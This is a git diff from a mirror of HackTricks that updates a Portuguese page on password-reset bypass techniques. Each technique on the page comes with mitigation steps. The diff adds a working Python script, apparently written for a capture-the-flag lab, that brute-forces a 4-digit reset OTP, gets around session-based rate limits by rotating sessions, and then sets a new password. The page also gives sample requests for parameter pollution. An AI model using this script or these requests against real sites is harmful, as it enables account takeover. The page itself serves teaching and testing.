mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to pt
This commit is contained in:
parent
81c6e3bee2
commit
c65b249873
@ -1,4 +1,4 @@
|
|||||||
# Bypass de Redefinição/Senha Esquecida
|
# Bypass de Redefinição/Esquecimento de Senha
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -63,7 +63,7 @@ POST /resetPassword
|
|||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld",email="attacker@mail.tld"
|
email="victim@mail.tld",email="attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON
|
- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON.
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
@ -77,7 +77,7 @@ POST /resetPassword
|
|||||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||||
|
|
||||||
## **Mudando o Email e a Senha de qualquer Usuário através de Parâmetros da API**
|
## **Mudando o Email e a Senha de Qualquer Usuário Através de Parâmetros da API**
|
||||||
|
|
||||||
- Os atacantes podem modificar os parâmetros de email e senha em solicitações da API para alterar as credenciais da conta.
|
- Os atacantes podem modificar os parâmetros de email e senha em solicitações da API para alterar as credenciais da conta.
|
||||||
```php
|
```php
|
||||||
@ -85,7 +85,7 @@ POST /api/changepass
|
|||||||
[...]
|
[...]
|
||||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||||
```
|
```
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Garantir validação rigorosa de parâmetros e verificações de autenticação.
|
- Garantir validação rigorosa de parâmetros e verificações de autenticação.
|
||||||
- Implementar registro e monitoramento robustos para detectar e responder a atividades suspeitas.
|
- Implementar registro e monitoramento robustos para detectar e responder a atividades suspeitas.
|
||||||
- **Referência**:
|
- **Referência**:
|
||||||
@ -94,7 +94,7 @@ POST /api/changepass
|
|||||||
## **Sem Limitação de Taxa: Bombardeio de Email**
|
## **Sem Limitação de Taxa: Bombardeio de Email**
|
||||||
|
|
||||||
- A falta de limitação de taxa em solicitações de redefinição de senha pode levar ao bombardeio de email, sobrecarregando o usuário com emails de redefinição.
|
- A falta de limitação de taxa em solicitações de redefinição de senha pode levar ao bombardeio de email, sobrecarregando o usuário com emails de redefinição.
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Implementar limitação de taxa com base no endereço IP ou na conta do usuário.
|
- Implementar limitação de taxa com base no endereço IP ou na conta do usuário.
|
||||||
- Usar desafios CAPTCHA para prevenir abusos automatizados.
|
- Usar desafios CAPTCHA para prevenir abusos automatizados.
|
||||||
- **Referências**:
|
- **Referências**:
|
||||||
@ -109,27 +109,27 @@ POST /api/changepass
|
|||||||
- Baseado no Primeiro Nome e Sobrenome
|
- Baseado no Primeiro Nome e Sobrenome
|
||||||
- Baseado na Data de Nascimento
|
- Baseado na Data de Nascimento
|
||||||
- Baseado em Criptografia
|
- Baseado em Criptografia
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Usar métodos fortes e criptográficos para geração de tokens.
|
- Usar métodos fortes e criptográficos para a geração de tokens.
|
||||||
- Garantir aleatoriedade e comprimento suficientes para prevenir previsibilidade.
|
- Garantir aleatoriedade e comprimento suficientes para prevenir previsibilidade.
|
||||||
- **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
|
- **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
|
||||||
|
|
||||||
## **UUID Adivinhável**
|
## **UUID Adivinhável**
|
||||||
|
|
||||||
- Se UUIDs (versão 1) são adivinháveis ou previsíveis, atacantes podem forçá-los para gerar tokens de redefinição válidos. Verifique:
|
- Se UUIDs (versão 1) forem adivinháveis ou previsíveis, atacantes podem forçá-los a gerar tokens de redefinição válidos. Verifique:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
uuid-insecurities.md
|
uuid-insecurities.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Usar GUID versão 4 para aleatoriedade ou implementar medidas de segurança adicionais para outras versões.
|
- Usar GUID versão 4 para aleatoriedade ou implementar medidas de segurança adicionais para outras versões.
|
||||||
- **Ferramentas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs.
|
- **Ferramentas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs.
|
||||||
|
|
||||||
## **Manipulação de Resposta: Substituir Resposta Ruim por Boa**
|
## **Manipulação de Resposta: Substituir Resposta Ruim por Boa**
|
||||||
|
|
||||||
- Manipulando respostas HTTP para contornar mensagens de erro ou restrições.
|
- Manipulando respostas HTTP para contornar mensagens de erro ou restrições.
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Implementar verificações do lado do servidor para garantir a integridade da resposta.
|
- Implementar verificações do lado do servidor para garantir a integridade da resposta.
|
||||||
- Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
|
- Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
|
||||||
- **Referência**:
|
- **Referência**:
|
||||||
@ -138,34 +138,98 @@ uuid-insecurities.md
|
|||||||
## **Usando Token Expirado**
|
## **Usando Token Expirado**
|
||||||
|
|
||||||
- Testando se tokens expirados ainda podem ser usados para redefinição de senha.
|
- Testando se tokens expirados ainda podem ser usados para redefinição de senha.
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Implementar políticas rigorosas de expiração de tokens e validar a expiração do token no lado do servidor.
|
- Implementar políticas rigorosas de expiração de tokens e validar a expiração do token no lado do servidor.
|
||||||
|
|
||||||
## **Força Bruta do Token de Redefinição de Senha**
|
## **Força Bruta do Token de Redefinição de Senha**
|
||||||
|
|
||||||
- Tentando forçar o token de redefinição usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP.
|
- Tentando forçar o token de redefinição usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP.
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Implementar mecanismos robustos de limitação de taxa e bloqueio de conta.
|
- Implementar mecanismos robustos de limitação de taxa e bloqueio de conta.
|
||||||
- Monitorar atividades suspeitas indicativas de ataques de força bruta.
|
- Monitorar atividades suspeitas indicativas de ataques de força bruta.
|
||||||
|
|
||||||
## **Tente Usar Seu Token**
|
## **Tente Usar Seu Token**
|
||||||
|
|
||||||
- Testando se o token de redefinição de um atacante pode ser usado em conjunto com o email da vítima.
|
- Testando se o token de redefinição do atacante pode ser usado em conjunto com o email da vítima.
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Garantir que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário.
|
- Garantir que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário.
|
||||||
|
|
||||||
## **Invalidar Sessão em Logout/Redefinição de Senha**
|
## **Invalidar Sessão em Logout/Redefinição de Senha**
|
||||||
|
|
||||||
- Garantir que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha.
|
- Garantindo que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha.
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Implementar gerenciamento adequado de sessões, garantindo que todas as sessões sejam invalidadas ao fazer logout ou redefinir a senha.
|
- Implementar gerenciamento adequado de sessões, garantindo que todas as sessões sejam invalidadas ao fazer logout ou redefinir a senha.
|
||||||
|
|
||||||
## **Invalidar Sessão em Logout/Redefinição de Senha**
|
## **Invalidar Sessão em Logout/Redefinição de Senha**
|
||||||
|
|
||||||
- Tokens de redefinição devem ter um tempo de expiração após o qual se tornam inválidos.
|
- Tokens de redefinição devem ter um tempo de expiração após o qual se tornam inválidos.
|
||||||
- **Passos de Mitigação**:
|
- **Etapas de Mitigação**:
|
||||||
- Definir um tempo de expiração razoável para tokens de redefinição e aplicá-lo rigorosamente no lado do servidor.
|
- Definir um tempo de expiração razoável para tokens de redefinição e aplicá-lo rigorosamente no lado do servidor.
|
||||||
|
|
||||||
|
## **Contornar Limite de Taxa de OTP Mudando Sua Sessão**
|
||||||
|
|
||||||
|
- Se o site estiver usando a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos), então podemos efetivamente forçar o OTP.
|
||||||
|
- **exploração**:
|
||||||
|
- basta solicitar um novo token de sessão após ser bloqueado pelo servidor.
|
||||||
|
- **Exemplo** de código que explora esse bug adivinhando aleatoriamente o OTP (quando você muda a sessão, o OTP também mudará, e assim não poderemos forçar sequencialmente!):
|
||||||
|
|
||||||
|
``` python
|
||||||
|
# Bypass de autenticação por redefinição de senha
|
||||||
|
# por coderMohammed
|
||||||
|
import requests
|
||||||
|
import random
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||||
|
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||||
|
}
|
||||||
|
url = "http://10.10.12.231:1337/reset_password.php"
|
||||||
|
logout = "http://10.10.12.231:1337/logout.php"
|
||||||
|
root = "http://10.10.12.231:1337/"
|
||||||
|
|
||||||
|
parms = dict()
|
||||||
|
ter = 0
|
||||||
|
phpsessid = ""
|
||||||
|
|
||||||
|
print("[+] Iniciando ataque!")
|
||||||
|
sleep(3)
|
||||||
|
print("[+] Isso pode levar cerca de 5 minutos para terminar!")
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # número aleatório de 0 - 9999 com 4 d
|
||||||
|
parms["s"] = 164 # não importante, só afeta o frontend
|
||||||
|
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||||
|
|
||||||
|
if ter == 8: # seguir número de tentativas
|
||||||
|
out = requests.get(logout,headers=headers) # faz logout
|
||||||
|
mainp = requests.get(root) # obtém outro phpssid (token)
|
||||||
|
|
||||||
|
cookies = out.cookies # extrai o sessionid
|
||||||
|
phpsessid = cookies.get('PHPSESSID')
|
||||||
|
headers["cookies"]=f"PHPSESSID={phpsessid}" # atualiza os headers com nova sessão
|
||||||
|
|
||||||
|
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envia o email para mudar a senha
|
||||||
|
ter = 0 # reinicia ter para obter uma nova sessão após 8 tentativas
|
||||||
|
else:
|
||||||
|
ter += 1
|
||||||
|
if(len(res.text) == 2292): # este é o comprimento da página quando você obtém o código de recuperação corretamente (obtido por teste)
|
||||||
|
print(len(res.text)) # para informações de depuração
|
||||||
|
print(phpsessid)
|
||||||
|
|
||||||
|
reset_data = { # aqui mudaremos a senha para algo novo
|
||||||
|
"new_password": "D37djkamd!",
|
||||||
|
"confirm_password": "D37djkamd!"
|
||||||
|
}
|
||||||
|
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||||
|
|
||||||
|
print("[+] A senha foi alterada para:D37djkamd!")
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
print("[+] Ataque interrompido")
|
||||||
|
```
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user